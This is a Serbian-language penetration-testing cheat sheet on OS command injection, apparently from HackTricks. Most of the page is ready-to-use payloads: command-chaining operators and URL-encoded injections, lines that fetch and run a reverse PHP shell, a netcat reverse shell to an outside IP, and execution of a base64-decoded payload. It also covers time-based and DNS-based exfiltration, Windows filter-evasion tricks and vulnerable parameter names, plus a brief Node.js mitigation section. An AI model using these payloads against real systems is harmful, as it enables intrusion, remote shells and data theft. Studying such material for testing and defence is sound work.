# Command Injection

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## Šta je command Injection?

A **command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču sticanje neovlašćenog pristupa ili kontrole nad okruženjem aplikacije i osnovnim sistemom.

### Kontekst

U zavisnosti od **gde se vaš unos ubacuje**, možda ćete morati da **zatvorite navodnički kontekst** (koristeći `"` ili `'`) pre nego što unesete komande.

## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Ograničenja** Bypasses

Ako pokušavate da izvršite **arbitrary commands inside a linux machine** možda će vas zanimati da pročitate o ovim **Bypasses:**

{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}

### **Primeri**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parametri

Evo 25 najčešćih parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Time based data exfiltration

Ekstrakcija podataka: znak po znak
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration

Zasnovano na alatu sa `https://github.com/HoLyVieR/dnsbin`, koji je takođe hostovan na dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Online alati za proveru DNS based data exfiltration:

- dnsbin.zhack.ca
- pingb.in

### Zaobilaženje filtera

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux


{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}

### Node.js `child_process.exec` vs `execFile`

Prilikom audita JavaScript/TypeScript back-endova često ćete naići na Node.js `child_process` API.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
```
`exec()` pokreće **shell** (`/bin/sh -c`), zato će bilo koji karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) rezultirati **command injection** kada se korisnički unos konkatenira u string.

**Mitigacija:**  koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
```
Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 je bio iskoristiv kroz neautentifikovan WebSocket događaj koji je postavio napadački kontrolisane podatke u `id_user`, koji su kasnije ugrađeni u poziv `exec()`, dovodeći do RCE (Pwn2Own Ireland 2024).

## Lista za detekciju Brute-Force


{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}

## References

- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)

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